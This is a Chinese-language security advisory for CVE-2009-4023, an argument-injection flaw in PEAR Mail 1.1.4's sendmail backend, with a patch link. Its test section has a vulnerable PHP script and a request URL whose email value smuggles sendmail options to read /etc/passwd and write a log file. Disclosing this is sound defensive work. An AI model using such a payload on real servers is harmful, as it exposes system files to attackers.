PEAR Mail软件包Sendmail Mail::Send()方式参数注入漏洞
发布日期:2009-11-20
更新日期:2009-11-23
受影响系统:PEAR Mail 1.1.4
不受影响系统:PEAR Mail 1.2.0 b2
描述:
BUGTRAQ ID:
37081
CVE(CAN) ID:
CVE-2009-4023
PEAR是“PHP扩展和应用库”的缩写,用于为PHP用户提供结构化的开源代码库。
PEAR的Mail软件包中sendmail实现没有正确地过滤对Mail::Send()方式所提交的from参数,远程攻击者可以向sendmail命令传送任意参数,绕过安全限制获取任意文件的内容。
<*来源:websec
链接:
http://secunia.com/advisories/37410/
http://pear.php.net/bugs/bug.php?id=16200
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . "\r\n";
$to = "
xxxxxxx@zzzz.com";
$subj = "subscription request";
$body = "subscribe me";
$hdrs = array(
"To" => $to,
"Cc" => $cc,
"Bcc" => $bcc,
"From" => $from,
"Subject" => $subject,
);
$body="test";
$mail =& Mail::factory('sendmail');
$mail->send($to, $hdrs, $body);
?>
test.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
建议:
厂商补丁:
PEAR
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://pear.php.net/bugs/patch-download.php?id=16200&patch=quick-fix&revision=1241757412浏览次数:3328
严重程度:0(网友投票)